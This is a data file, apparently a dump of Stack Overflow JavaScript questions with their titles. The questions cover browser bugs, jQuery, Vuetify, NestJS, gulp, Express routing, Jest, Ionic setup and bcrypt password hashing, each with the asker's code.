//sitehelp.com.au/demos/bxslider/dropdowntest.htmlIt works fine in Firefox , Chrome , etc , but when in IE , you click the slide down , it creates a javascript error and will not slide back up.If we move the bxslider JS above jquery JS , it works although it corrupts other scripts in the page on the main site.How can we fix this as is ? With jQuery above bxslider JS ? What is the conflict causing this jquery error ? Thank you . Webpage error detailsUser Agent : Mozilla/4.0 ( compatible ; MSIE 8.0 ; Windows NT 6.1 ; Win64 ; x64 ; Trident/4.0 ; .NET CLR 2.0.50727 ; SLCC2 ; .NET CLR 3.5.30729 ; .NET CLR 3.0.30729 ; Media Center PC 6.0 ; .NET4.0C ) Timestamp : Tue , 10 May 2011 12:36:46 UTCMessage : Invalid argument.Line : 16Char : 79850Code : 0URI : http : //ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js","JS , jQuery Conflict.. help ?" "JS : I have a scenario in which I have to move table footer row 's each th tag at the bottom of scrolling div . Here is the plnkr.I can move it hardcoded by but i want to calculate 260 and do it . Need help . $ ( '.sticky-table ' ) .find ( `` table tfoot tr.sticky-row th '' ) .css ( 'top ' , 260 ) ;",Move table footer to bottom of scrolling div dynamically using jquery "JS : I 'm trying to implement a routine for Node.js that would allow one to open a file , that is being appended to by some other process at this very time , and then return chunks of data immediately as they are appended to file . It can be thought as similar to tail -f UNIX command , however acting immediately as chunks are available , instead of polling for changes over time . Alternatively , one can think of it as of working with a file as you do with socket — expecting on ( 'data ' ) to trigger from time to time until a file is closed explicitly.In C land , if I were to implement this , I would just open the file , feed its file descriptor to select ( ) ( or any alternative function with similar designation ) , and then just read chunks as file descriptor is marked `` readable '' . So , when there is nothing to be read , it wo n't be readable , and when something is appended to file , it 's readable again.I somewhat expected this kind of behavior for following code sample in Javascript : However , this code sample just bails out when EOF is encountered , so I ca n't wait for new chunk to arrive . Of course , I could reimplement this using fs.open and fs.read , but that somewhat defeats Node.js purpose . Alternatively , I could fs.watch ( ) file for changes , but it wo n't work over network , and I do n't like an idea of reopening file all the time instead of just keeping it open.I 've tried to do this : But had no luck — net.Socket is n't happy and throws TypeError : Unsupported fd type : FILE.So , any solutions ? UPD : this is n't possible , my answer explains why . function readThatFile ( filename ) { const stream = fs.createReadStream ( filename , { flags : ' r ' , encoding : 'utf8 ' , autoClose : false // I thought this would prevent file closing on EOF too } ) ; stream.on ( 'error ' , function ( err ) { // handle error } ) ; stream.on ( 'open ' , function ( fd ) { // save fd , so I can close it later } ) ; stream.on ( 'data ' , function ( chunk ) { // process chunk // fs.close ( ) if I no longer need this file } ) ; } const fd = fs.openSync ( filename , ' r ' ) ; // sync for readability ' sakeconst stream = net.Socket ( { fd : fd , readable : true , writable : false } ) ;",How NOT to stop reading file when meeting EOF ? "JS : I am using the vuetify framework and I am running into this issue where I am not sure how I can add an item from the list multiple times . I have a dropdown list and I would like to add the option foo or any option multiple times on select . Here is a link to the demo codepen . So right now if I select foo or any other option and then select it again from the dropdown list , it goes away , instead I want another chip with same optionadded into it ? If anyone has any clue on how to achieve this . It will be much appreciated . Thank you new Vue ( { el : ' # app ' , data ( ) { return { items : [ { text : 'Foo ' , value : 'foo ' } , { text : 'Bar ' , value : 'bar ' } , { text : 'biz ' , value : 'buzz ' } , { text : 'buzz ' , value : 'buzz ' } ] , } } } ) < link href= '' https : //cdn.jsdelivr.net/npm/vuetify @ 1.5.14/dist/vuetify.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdn.jsdelivr.net/npm/vuetify @ 1.5.14/dist/vuetify.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.5.17/vue.js '' > < /script > < div id= '' app '' > < v-app id= '' inspire '' > < v-container > < v-combobox : items= '' items '' label= '' Add Multiple Chips '' multiple small-chips solo deletable-chips > < template v-slot : item= '' { index , item } '' > < v-list-tile-content > { { item.text } } < /v-list-tile-content > < /template > < template v-slot : selection= '' { index , item } '' > < v-chip close dark color= '' info '' > { { item.text } } < /v-chip > < /template > < /v-combobox > < /v-container > < /v-app > < /div >",Vuetify combobox add option multiple times ? "JS : In order to avoid boilerplate code ( checking for undefined in every controller , over and over again ) , how can I automatically return a 404 error when the promise in getOne returns undefined ? Nestjs provides an integration with TypeORM and in the example repository is a TypeORM Repository instance . @ Controller ( '/customers ' ) export class CustomerController { constructor ( @ InjectRepository ( Customer ) private readonly repository : Repository < Customer > ) { } @ Get ( '/ : id ' ) async getOne ( @ Param ( 'id ' ) id ) : Promise < Customer|undefined > { return this.repository.findOne ( id ) .then ( result = > { if ( typeof result === 'undefined ' ) { throw new NotFoundException ( ) ; } return result ; } ) ; } }",How to return a 404 HTTP status code when promise resolve to undefined in Nest ? "JS : I do n't understand why the API includes cancelAnimationFrame ( ) , becauseI can stop the animation by setting the continue variable like this : So the questions is under what circumstances should I use cancelAnimationFrame ( ) ? function draw ( timestamp ) { if ( continue == true ) { requestAnimationFrame ( draw ) ; } }",Why would I ever need to cancelAnimationFrame ( ) "JS : The Question : What is the canonical/preferred way to locate the Virtual Repeaters in Protractor ? The Story : In the Angular Material design there is a Virtual Repeater that helps to improve the rendering performance with the help of dynamic reuse of rows visible in the viewport area . Sample : At the moment , I have to use by.css location technique : Bonus Question : Is there a way to make by.repeater also work with md-virtual-repeat ? < div class= '' md-virtual-repeat-offsetter '' style= '' transform : translateY ( 0px ) ; '' > < div md-virtual-repeat= '' item in ctrl.dynamicItems '' md-on-demand= '' '' class= '' repeated-item ng-binding ng-scope flex '' flex= '' '' > 0 < /div > < div md-virtual-repeat= '' item in ctrl.dynamicItems '' md-on-demand= '' '' class= '' repeated-item ng-binding ng-scope flex '' flex= '' '' > 1 < /div > < div md-virtual-repeat= '' item in ctrl.dynamicItems '' md-on-demand= '' '' class= '' repeated-item ng-binding ng-scope flex '' flex= '' '' > 2 < /div > < /div > $ $ ( ' [ md-virtual-repeat= '' item in ctrl.dynamicItems '' ] ' ) ;",Virtual Repeater and Protractor "JS : I feel like I am missing something here.The Date.getDay ( ) method is supposed to return a value from 0-6 . 0 for Sunday and 6 for Saturday.Now I have two dates , both are 'Sunday ' which should return 0 . What is causing the discrepancy ? I dare to question the validity of the .getDay ( ) method , but I ca n't figure out what is going on . EDITI do n't understand what is going on . January 3rd is Sunday and November 11th 1990 is Sunday . Why is it saying Saturday ? new Date ( '1990-11-11 ' ) .getDay ( ) // returns 6 new Date ( '2016-1-3 ' ) .getDay ( ) // returns 0 > new Date ( '1990-11-11 ' ) Sat Nov 10 1990 17:00:00 GMT-0700 ( MST ) > new Date ( '2016-01-03 ' ) Sat Jan 02 2016 17:00:00 GMT-0700 ( MST ) > new Date ( '2016-1-3 ' ) // they say this format is wrong , but it returns the right dateSun Jan 03 2016 00:00:00 GMT-0700 ( MST )",Date.getDay ( ) is returning different values "JS : I have created a Greasemonkey script that runs fine in the firebug editor , with the Greasemonkey specifics removed , but not when I try to package it as a userscript . The Firefox error console is reporting that an iframe I am trying to use is undefined . I 've cut the userscript down to a minimum case where it should be printing the iframe html into the firebug console , and does when run in the firebug editor , but is not working as a userscript : An example page the script is intended forIf it 's of any use the gist of the full script is I collect all the td tags from this iframe , get some information from them , and then insert some new html into some of the same td tags.Any help would be appreciated . // ==UserScript==// @ name Movies// @ include http : //*.princecharlescinema.com/*// @ include http : //princecharlescinema.com/*// ==/UserScript==// stop script loading multiple timesif ( top ! =self ) return ; var iframeHTML = window.frames [ 'iframe2 ' ] .document.documentElement.innerHTML ; unsafeWindow.console.log ( iframeHTML ) ;",iframe undefined in Greasemonkey script "JS : I have a curious little bug in some HTML that only show up in Firefox 17 ( OSX 10.8.2 , no other OS tested yet ) . I have a 'sidebar ' css class that encloses some text which is a repeating element on a number of pages . On one page ( only ) this text renders as if it has its css visiblility property set to 'hidden ' ( it does not display , but leaves the correct space around itself ) .left Firefox 16.0.2 ; right Firefox 17.0.1Here is the css class : The affected HTML : All pages on the site contain an identical piece of google analytics asynchronous tracking javascript . If I remove this code , the bug disappears . I have checked the code and it is correct . It is used on every page in the site , and all other pages , with the SAME html ( it 's a repeating header ) render fineThe google js code : The bug disappears under any of the following conditions - viewed in firefox 16 ( same user settings and plugins ) , or any other browser . - viewed in firefox 17 / safe mode - remove the google analytics code - replace the following line from the 'sidebar ' class css with ( i.e remove the rotation ) It has nothing to do with plugins and addons , as if I manually disable all of these the bug is still evident.Other pages with the same HTML , same css and the same google analytics code render fine.The problem page is the largest on the site ( ~10KB of optimised/gzipped html with around 160 small images / 880KB to load ) , all other pages are smaller.The body is almost entirely made up of 160 repeats of this elementIf I drastically cut the number of these elements down this also fixes the bug.Any ideas how to further isolate/fix the bug ? At the moment it seems like i 'd have to either sacrifice analytics or redesign the site , both of which seem a little excessive.updateI 've done a lot more investigating , and got it down to this.it 's nothing to do with the google javascript . ANY script , even an empty < script > < /script > will invoke the bug . I am using custom fonts with @ font-face pulled in from a linked stylesheet . If i only use system fonts , the bug disappears.if I move the @ font-face rules from a linked stylesheet into the page header the bug becomes more resilient : it shows up regardless of the presence of script tagsturn off hardware acceleration , the bug disappears.remove rotation from the transform , the bug disappears.reduce the page size ( from 160 images to around 10 ) and the bug disappears.Firefox nightly ( v20 ) does not show the bug so whatever is causing it is fixed in some future version after v17.0.1Here are some sample pages showing the issue ( I 'd avoided them in the original question as I guess that linking is a little frowned upon here ) . Browser cache needs to be emptied between each page view to gauge the bug effect accuratelyoriginal page bug present test page bug presentsimplified html and minimised css to isolate the bugno javascript but one empty < script > < /script > tagThese samples are all derived from the test page : < script > < /script > tag removed bug absentrotation removed from transform bug absentpage size reduced from 160 to 18 images bug absentno custom fonts bug absentinternal stylesheet for custom fonts bug presentthis is a weird one . If the @ font_face stylesheet is external , the bug only shows if a < script > < /script > tag is present . If the @ font_face rules are moved to an internal stylesheet , the bug is also evident in the absence of < script > < /script > tags.I ca n't seem to eliminate the bug without changing the design of the page to such a degree I 'd have to redesign the site which seems a little OTT for one version of one browser . I am hoping for a more practical workaround . I tried using jQuery browser sniffing but as javascript seems to introduce the bug that 's a non-starter.update 2Now I have had a chance to test on a different machine , and find the bug is manifest very rarely . Testing as a new user on the original machine does n't display the bug at all . So it is clearly something to do with user settings and - hopefully then - fairly rare . update 3 Following a suggestion by @ Boris , I have tried incremental rotation to see where and how the page is breaking up . It is fine from rotate ( 0deg ) until about 80deg , after which it starts to fall apart . I 've added 1px borders to all elements to help isolate the issue ... sample pages showing 0-90deg ( they should bounce from one to the next on auto refresh ) .This is using -moz-transform so only worth looking at in Firefox . animation : this is the result I am getting in firefox 17.0.1update 4answering some suggestions from @ arttronics - here is a 3d firefox view showing how it should stack up ( when I switch to 3d view , the bug disappears , as if Firefox is trying just that little bit harder to do the right thing ) . the protuding content seen in the 3D view is for text alignment , it does not affect the bug - see this cut-down version ; zoom is reset , no change ; a new user profile exhibits same behaviour.update 5 – reset FirefoxAfter performing a Firefox reset ( as per @ arttronics ' answer ) the bug is still here , albeit perhaps a little less resilient . Prior to reset this would invoke the bug- clear the cache- refresh the page Post-reset , clearing the cache and refreshing brings up the bug about 50 % of the time . If I clear the cache , restart firefox , return to the page - it is still there , every time.Ok I 'm going to answer my own question ... I have not found a solution , but thanks to the interest and amazing efforts of the stack overflow community it seems fairly clear to me that ... this may be an issue that is very hard to replicate beyond the peculiarities of my user setupit 's an obscure bug only manifest in Firefox 17.0.1 and apparently fixed in Firefox 18there is no workaround that does n't involve a site redesignTherefore , in the interests of moving on with other issues , I suggest we put this question to rest ! Thanks to everyone who made comments and suggestions , it 's been a very educational process . .sidebar { position : fixed ; top : 2px ; left:4px ; display : table-cell ; vertical-align : bottom ; z-index : 2 ; width : 700px ; height : 64px ; -webkit-transform : rotate ( 90deg ) translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; -moz-transform : rotate ( 90deg ) translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; -o-transform : rotate ( 90deg ) translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; -ms-transform : rotate ( 90deg ) translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; transform : rotate ( 90deg ) translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; } < div class= '' sidebar '' > < span class= '' TMUP1 '' > < a href= '' / '' > Section_Header < /a > < /span > < span class= '' sidebarcontents '' style= '' vertical-align : 50 % '' > Subsection_Header < /span > < /div > < script type= '' text/javascript '' > var _gaq = _gaq || [ ] ; _gaq.push ( [ '_setAccount ' , 'UA-000000-0 ' ] ) ; _gaq.push ( [ '_trackPageview ' ] ) ; ( function ( ) { var ga = document.createElement ( 'script ' ) ; ga.type = 'text/javascript ' ; ga.async = true ; ga.src = ( 'https : ' == document.location.protocol ? 'https : //ssl ' : 'http : //www ' ) + '.google-analytics.com/ga.js ' ; var s = document.getElementsByTagName ( 'script ' ) [ 0 ] ; s.parentNode.insertBefore ( ga , s ) ; } ) ( ) ; < /script > -moz-transform : rotate ( 90deg ) translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; -moz-transform : translateX ( 320px ) translateY ( 340px ) scale ( 1 ) ; < div class= `` outerDiv '' style= '' background-color : transparent '' > < div class= '' innerDiv '' > < a href='/artists/artist_name/ ' > < img src= '' /artists/artist_name/_portrait/artist_portrait.jpg '' alt= '' '' width= '' 150 '' / > < /a > < div class= '' short_caption '' > < a href='/artists/artist_name/ ' style= '' color : white '' > artist_name < /a > < br / > artist_location < /div > < /div > < /div >",how to isolate firefox 17 rendering bug "JS : I 'm trying to create a generic i18n solution for a HTML app I 'm working in . I 'm looking for alternatives to use eval ( ) to call deeply nested Javascript objects : Suppose the following HTML example : and it 's companion Javascript ( using jQuery ) : Any advices on how to access the `` pageTitle '' property inside the i18n object without using eval ( ) ? I need to keep the object 's structure , so changing its layout to a `` flat '' solution is not feasible.Thanks ! ! ! < div id= '' page1 '' > < h1 data-i18n= '' html.pageOne.pageTitle '' > < /h1 > < /div > var i18n ; i18n = { html : { pageOne : { pageTitle : 'Lorem Ipsum ! ' } } } ; $ ( document ) .ready ( function ( ) { $ ( ' [ data-18n ] ' ) .each ( function ( ) { var q ; q = eval ( 'i18n . ' + $ ( this ) .attr ( 'data-i18n ' ) ) ; if ( q ) { $ ( this ) .text ( q ) ; } } ) ; } ) ;",Alternatives to eval ( ) for multiple nested objects "JS : I 'm using angularJS and requirejs via angularAMD to wire together a complex application . One of my states has two simple views like so : htmlView1 has a directive : And view2 has a stylesheet that applies some styling to the page , including changing the height and width of the view1 container . I want the function linkFunctionAfterDomComplete to compute the element 's height and width properties after the DOM has been modified by the stylesheet in view2 , so I wrapped the linkFunctionAfterDomComplete function in a $ timeout ( ) . The console.log from checkViewOneBoxWidth here is reporting the size of this element , before the styling from the stylesheet in view2 modified the size of this element , despite the fact that we would expect the $ timeout to cause the linkFunctionAfterDomComplete function to calculate the size of this element after styling from view2 is applied and the DOM is complete . How can I get linkFunctionAfterDomComplete to calculate element properties that reflect those which reflect the true state of the element after it had been fully rendered and all styling has been applied ? http : //plnkr.co/edit/WjGogh ? p=preview $ stateProvider .state ( `` common '' , { url : `` / '' , views : { `` view1 '' : { templateUrl : `` view1.tpl.html '' } , `` view2 '' : { templateUrl : `` view2.tpl.html '' } } } ) ; < div ui-view= '' view1 '' > < /div > < div ui-view= '' view2 '' > < /div > .directive ( 'checkViewOneBoxWidth ' , function ( $ timeout ) { return { restrict : ' A ' , link : function ( scope , elem , attrs ) { var linkFunctionAfterDomComplete = function ( ) { console.log ( elem [ 0 ] .scrollWidth ) ; } $ timeout ( linkFunctionAfterDomComplete , 0 ) ; } } } )",AngularJS $ timeout is n't waiting for UI-Router to finish rendering before computing values "JS : I was saving my files on the FS of my server and now I want to save them in the mongodb . ( for easier backup and stuff ) .I want to store files like 4-5Mb maximum and I tried save them with mongoose with Buffer type.I successfully saved them and retrieved them but I noticed a significant slow performance when i save and retrieve files like 4 or 5Mb.My schema : How I retrieve them from the expressjs server : My question is should I use some zlib compress functions like 'deflate ' to compress buffer before saving them in the mongodb and then uncompress the binary before sending them to the client ? Would this make the whole proccess faster ? Am I missing something ? let fileSchema = new Schema ( { name : { type : String , required : true } , _announcement : { type : Schema.Types.ObjectId , ref : 'Announcements ' } , data : Buffer , contentType : String } ) ; let name = encodeURIComponent ( file.name ) ; res.writeHead ( 200 , { 'Content-Type ' : file.contentType , 'Content-Disposition ' : 'attachment ; filename*=UTF-8\'\ '' + name } ) ; res.write ( new Buffer ( file.data ) ) ;",Store files in mongodb with Nodejs "JS : I 'm using Google pubads on http : //development-client-server.com/ds/ which is working great , until you get to the actual story page ( see http : //development-client-server.com/ds/speech-more-common-autism/ ) , when the right top sidebar ad will load and then disappear quickly.I 've narrowed it down to the stickySidebars function I 'm using to stick both the social media bar on the left and the jobs listing div on the right ( beneath where the Google ad is ) . However , the sticky function should n't affect the Google ad at all ? Here 's the JS function I 'm using , which I 've already rewritten several times ( and have tried to talk the clients out of using already ) . < script > // Sticky Sidebarsfunction stickySidebars ( ) { var length = $ ( '.post-content ' ) .height ( ) - $ ( 'article .sharing-links ' ) .height ( ) + $ ( '.post-content ' ) .offset ( ) .top ; var lengthSidebar = $ ( '.sticky-container ' ) .height ( ) - $ ( 'aside .job-listings ' ) .height ( ) + $ ( '.sticky-container ' ) .offset ( ) .top -30 ; $ ( window ) .scroll ( function ( ) { // Sharing Links var scroll = $ ( this ) .scrollTop ( ) + 90 ; var height = $ ( 'article .sharing-links ' ) .height ( ) + 'px ' ; if ( scroll < $ ( '.post-content ' ) .offset ( ) .top ) { $ ( 'article .sharing-links ' ) .css ( { 'position ' : 'absolute ' , 'top ' : 'auto ' , 'bottom ' : 'auto ' } ) ; } else if ( scroll > length ) { $ ( 'article .sharing-links ' ) .css ( { 'position ' : 'absolute ' , 'bottom ' : ' 0 ' , 'top ' : 'auto ' } ) ; } else { $ ( 'article .sharing-links ' ) .css ( { 'position ' : 'fixed ' , 'top ' : '90px ' , 'height ' : height } ) ; } // Sidebar var heightSidebar = $ ( 'aside .job-listings ' ) .height ( ) + 'px ' ; if ( scroll < $ ( 'aside .job-listings ' ) .offset ( ) .top ) { $ ( 'aside .job-listings ' ) .css ( { 'position ' : 'absolute ' , 'top ' : '300px ' , 'bottom ' : 'auto ' } ) ; } else if ( scroll > lengthSidebar ) { $ ( 'aside .job-listings ' ) .css ( { 'position ' : 'absolute ' , 'bottom ' : '30px ' , 'top ' : 'auto ' } ) ; } else { if ( scroll < $ ( '.sticky-container ' ) .offset ( ) .top + 300 ) { $ ( 'aside .job-listings ' ) .css ( { 'position ' : 'absolute ' , 'top ' : '300px ' , 'bottom ' : 'auto ' } ) ; } else { $ ( 'aside .job-listings ' ) .css ( { 'position ' : 'fixed ' , 'top ' : '90px ' , 'height ' : heightSidebar } ) ; } } } ) ; } $ ( window ) .on ( 'load ' , function ( ) { if ( $ ( window ) .width ( ) > 1100 ) { stickySidebars ( ) ; } } ) ; $ ( window ) .resize ( function ( ) { if ( $ ( window ) .width ( ) > 1100 ) { stickySidebars ( ) ; } } ) ; < /script >",Google pubads appear and then disappear "JS : I have added a gulp task to remove directories in the given paths . The paths are read from an array.My gulp task runs properly and does the required job . The Task Runner explorer give the message of starting the task as well as the process terminating successfully with code 0 . The problem is that it does n't state that the task has finished . Due to this , my other tasks that are dependent on this task , can not execute during build process automation.Inside Task Runner Explorer , the task starts but does n't finish , though it terminates with code 0 , as shown below : const rmr = require ( 'rmr ' ) ; // array containing the list of all paths of the folders to be deletedconst removeFoldersArr = [ { Path : `` wwww/scripts '' } , { Path : `` www/styles '' } ] ; // Gulp Task to remove all files in a foldergulp.task ( 'cleanFolders ' , function ( ) { return removeFoldersArr.map ( function ( folder ) { rmr.sync ( folder.Path ) ; } ) ; } ) ; cmd.exe /c gulp -b `` D : \My Projects\Solution1 '' -- color -- gulpfile `` D : \My Projects\Solution1\Gulpfile.js '' cleanFolders [ 18:04:23 ] Using gulpfile D : \My Projects\Solution1\Gulpfile.js [ 18:04:23 ] Starting 'cleanFolders ' ... Process terminated with code 0 .",Gulp Task not finishing even when the process terminates with code 0 "JS : What is the best practice to store an array of values in a html ( from php ) attribute and later access them from javascript/jQuery ? Its basically a simple array like ( code_1 , code_2 , code_3 , ... ) Im thinking of doing a simple someAttr= '' code_1 ; code_2 ; code_3 '' and then exploding it : < div class= '' storage '' someAttr= ? ? / > < /div > var a = $ ( this ) .attr ( 'someAttr ' ) ; ( a.split ( `` ; '' ) ) .forEach ( function ( attr ) { console.log ( attr ) ; } ) ;",Best practice to store array of values in html attr ? "JS : I 'm after normalized/canonical urls for SPA with ExpressJS server . Although it is SPA that is backed up by server side router - templates can differ a bit for app urls . One of the differences is < link rel= '' canonical '' href= '' https : //example.com { { originalPath } } '' > tag . Not the relevant detail but explains the context of the question . I expect that there will be only one URL that responds with 200 , its variations are redirected to it with 301/302 ( works for living humans and search engines ) .I would like to make the urls case-sensitive and strict ( no extra slash ) , similarly to Router options , but non-canonical urls ( that differ in case or extra slash ) should do 301/302 redirect to canonical url instead of 404.In most apps I just want to force the urls for * routes to be lower-cased ( with the exception of queries ) , with no extra slashes . I.e . app.all ( '* ' , ... ) , and the redirects are : But there may be exceptions if the routes are defined explicitly . For example , there are camel-cased routes : And all non-canonical urls should be redirected to canonical ( parameter case is left intact ) : The logic behind canonical urls is quite straightforward , so it is strange that I could n't find anything on this topic regarding ExpressJS.What is the best way to do this ? Are there middlewares already that can help ? /Foo/Bar/ - > /foo/bar/foo/Bar ? Baz - > /foo/bar ? Baz possiblyNestedRouter.route ( '/somePath ' ) ... possiblyNestedRouter.route ( '/anotherPath/ : Param ' ) ... /somepath/ - > /somePath/anotherpath/FOO - > /anotherPath/FOO",ExpressJS router normalized/canonical urls "JS : im trying to setup ionic framework for my ubuntu machine , i succeeded in initial process but got stuck in adding android platform.this is the error im getting help me please module.js:339throw err ; ^Error : Can not find module 'bplist-parser'at Function.Module._resolveFilename ( module.js:337:15 ) at Function.Module._load ( module.js:287:25 ) at Module.require ( module.js:366:17 ) at require ( module.js:385:17 ) at Object. < anonymous > ( /usr/local/lib/node_modules/cordova/node_modules/cordova-lib/node_modules/cordova-common/src/ConfigChanges/ConfigFile.js:20:14 ) at Module._compile ( module.js:435:26 ) at Object.Module._extensions..js ( module.js:442:10 ) at Module.load ( module.js:356:32 ) at Function.Module._load ( module.js:311:12 ) at Module.require ( module.js:366:17 ) at require ( module.js:385:17 )",Error while Adding Android Platform in Ionic framework in ubuntu "JS : I 'm trying to trigger a rotate animation in an SVG on my website . It definetly work but the problem is when i 'm moving my mouse when i 'm on hover the element it cancels the animation.So i include an object svg element : which is a long SVG document but here is stylesheet attached to it : You can see the svg structure in the jsfiddleAnd finally the script : I also tried with CSS , it 's the same problem.Here is a jsfiddle : https : //jsfiddle.net/7f7wjvvt/1st question : How can i have a fluid rotate transition when moving the mouse on the element ? 2nd question : How can i have a Y rotation that stay on the spot and not translate to the left ? Try it in the fiddle3rd question : Why the jsfiddle display the svg well in firefox and not in chrome ? Also , perspective does n't seem to work in chrome ... WHY ? Any ideas ? < object type= '' image/svg+xml '' data= '' branching4.svg '' id= '' branching '' > Your browser does not support SVG < /object > # rectangle1 , # rectangle2 , # rectangle3 { perspective : 1500px ; } # rectangle1.flip .card , # rectangle2.flip .card , # rectangle3.flip .card { transform : rotateX ( 180deg ) ; } # rectangle1 .card , # rectangle2 .card , # rectangle3 .card { transform-style : preserve-3d ; transition:1s ; } # rectangle1 .face , # rectangle2 .face , # rectangle3 .face { backface-visibility : hidden ; } # rectangle1 # front1 { transform : rotateX ( 0deg ) ; } # rectangle1 # back1 { transform : rotateX ( 180deg ) ; } # rectangle2 # front2 { transform : rotateX ( 0deg ) ; } # rectangle2 # back2 { transform : rotateX ( 180deg ) ; } # rectangle3 # front3 { transform : rotateX ( 0deg ) ; } # rectangle3 # back3 { transform : rotateX ( 180deg ) ; } # rectangle1.flipped , # rectangle2.flipped , # rectangle3.flipped { transform : rotateX ( 180deg ) ; } window.onload=function ( ) { var svgDoc = $ ( `` # branching '' ) [ 0 ] .contentDocument ; // Get the document object for the SVG $ ( `` .st4 '' , svgDoc ) .css ( `` font-family '' , `` robotolight , Helvetica Neue , Helvetica , Arial , sans-serif '' ) ; $ ( `` # rectangle1 '' , svgDoc ) .hover ( function ( ) { $ ( this , svgDoc ) .toggleClass ( `` flip '' ) ; } ) ; $ ( `` # rectangle2 '' , svgDoc ) .hover ( function ( ) { $ ( this , svgDoc ) .toggleClass ( `` flip '' ) ; } ) ; $ ( `` # rectangle3 '' , svgDoc ) .hover ( function ( ) { $ ( this , svgDoc ) .toggleClass ( `` flip '' ) ; } ) ; } ;",Rotate animation hover but while moving mouse on hover - > cancel "JS : I have some react code that I am trying to test that looks like this : I am trying to pass location down from react-router , such that I can access the query params in my page and it 's components . I have a snapshot in place that works ( e.g . shows DOM , etc ) , but as soon as I add in this new property wrapper returns undefined . I 've debugged this and it does not seem to be rendering < MyPage ... > at all anymore . I 've tried moving the < MyPage ... > call into it 's own variable , but that did not work either . Finally , I 've also tried changing it from mount to shallow ( not sure what that does ) . I 've looked at the docs and I ca n't seem to find anything specifying how I can tell why it would not render\mount . Are there any tools , techniques or means of detecting why a mounted page\component does not render\mount ? EDIT 1With the help of a colleague , I 've figured out my issue - the problem was I was using PropTypes.shape instead of PropTypes.shape ( ) . I can reproduce this locally , but none of the online sandbox tools seem to make this simple . Further , as it was ( with the invalid PropType ) it did in fact silently fail in jest . So , is there a way I could have detected this using standard tools and techniques ? beforeEach ( ( ) = > { wrapper = mount ( < Provider store= { store } > < MyPage params= { params } location= { location } / > < /Provider > ) ; } ) ; test ( 'renders My Page ' , ( ) = > { expect ( wrapper ) .toMatchSnapshot ( ) ; } ) ;",debugging undefined jest snapshot "JS : Maybe this is lame question , if so , I sincerely apologize.I have encountered on , to me , an interesting challenge.I understand 2 will output binary value , and 18 & 36 will output hexadecimal value . But when I put 37 it does n't output anything.For example : does n't output anything.In the console it says : RangeError : radix must be an integer at least 2 and no greater than 36 . Why ? < button onClick= '' myFunc ( ) '' > Click Me < /button > < p id= '' test '' > < /p > < script > function myFunc ( ) { var n = 15 var a = n.toString ( ) ; // outputs 15 var b = n.toString ( 2 ) ; // outputs 1111 var c = n.toString ( 9 ) ; // outputs 16 var d = n.toString ( 18 ) ; // outputs f var e = n.toString ( 36 ) ; // outputs f var total = a + `` < br > '' + b + `` < br > '' + c + `` < br > '' + d + `` < br > '' + e ; document.getElementById ( 'test ' ) .innerHTML=total ; } < /script > var f = n.toString ( 37 ) ;",Why is .toString range limited to 36 ? "JS : I 'm trying to write some tests using Jest for a KnockoutJs Project.Apologies for any terminology I get wrong below I 'm coming back to JS after about 10 years of not using it and still getting my head round things like ES6 modules.The tests work fine until I need to test a ViewModel that uses knockout observable objects , I 've added an import to my viewmodel to bring in KnockoutJs using ES6 module syntax and have babel setup to compile this so it should work in node.My viewmodel looks like this ... Then my test file looks like ... When I execute Jest I get a Maximum call stack size exceeded errorIf I remove the import * as ko line from my ViewModel it works fine but then I ca n't reference any of the object types in the knockout library.Not sure if it 's relevant but my .babelrc looks like this ... Any idea what I 'm doing wrong when I 'm importing Knockout into the ViewModel ? Edit : This is my package.json export { myVm } import * as ko from 'knockout'function myVm ( ) { var self = this ; self.helloWorld = function ( ) { return `` Hello World '' } return self ; } import * as vm from '../src/viewModels/myVm'test ( 'Returns Hello World ' , ( ) = > { expect ( vm.myVm ( ) .helloWorld ( ) ) .toBe ( 'Hello World ' ) ; } ) ; { `` presets '' : [ `` env '' ] } { `` name '' : `` blah '' , `` version '' : `` 1.0.0 '' , `` description '' : `` blah '' , `` main '' : `` index.js '' , `` dependencies '' : { `` knockout '' : `` ^3.5.1 '' } , `` devDependencies '' : { `` babel-jest '' : `` ^24.9.0 '' , `` babel-preset-env '' : `` ^1.7.0 '' , `` jest '' : `` ^24.9.0 '' } , `` scripts '' : { `` test '' : `` jest '' } , `` author '' : `` '' , `` license '' : `` ISC '' }",Why does Jest error with Maximum Call Stack Size Exceeded When I Import KnockoutJS Into A ViewModel I 'm Testing ? "JS : I have multiple arrays in a main/parent array like this : here are the array 's for simpler reading : I want to select the arrays that are repeated 3 or more times ( > 3 ) and assign it to a variable . So in this example , var repeatedArrays would be [ 1 , 17 ] and [ 2 , 12 ] .So this should be the final result : I found something similar here but it uses underscore.js and lodash.How could I it with javascript or even jquery ( if need be ) ? var array = [ [ 1 , 17 ] , [ 1 , 17 ] , [ 1 , 17 ] , [ 2 , 12 ] , [ 5 , 9 ] , [ 2 , 12 ] , [ 6 , 2 ] , [ 2 , 12 ] ] ; [ 1 , 17 ] [ 1 , 17 ] [ 1 , 17 ] [ 2 , 12 ] [ 5 , 9 ] [ 2 , 12 ] [ 6 , 2 ] [ 2 , 12 ] [ 2 , 12 ] console.log ( repeatedArrays ) ; > > > [ [ 1 , 17 ] , [ 2 , 12 ] ]",Find if two arrays are repeated in array and then select them "JS : I am using bcrypt to generate salts and hash passwords , but I do not think that it is doing it very securely.When I use the following code : In one example , the salt is : $ 2a $ 10 $ mFFjRpY1Vrq7Fy1fFp0fMO and the hashed_password is : $ 2a $ 10 $ mFFjRpY1Vrq7Fy1fFp0fMOVnlv9cKgAFdCQ5xdtlP6UoKz90i1FMuThe beginning of the hashed password is the exact same as the salt . If an attacker has access to the salt , ca n't he just remove the salt from the hashed_password and either brute force or use a table of predetermined hashed values to determine the password ? I always thought this should be the order of hashing a password : Not : bcrypt.genSalt ( 10 , function ( err , salt ) { user.salt = salt ; bcrypt.hash ( password , salt , function ( err , hash ) { user.hashed_password = hash ; console.log ( user.salt ) ; console.log ( user.hashed_password ) ; user.save ( function ( err ) { if ( err ) console.log ( err ) ; console.log ( `` saved '' ) ; } ) ; } ) ; } ) ; hash ( salt + password ) salt + hash ( password )",Bcrypt 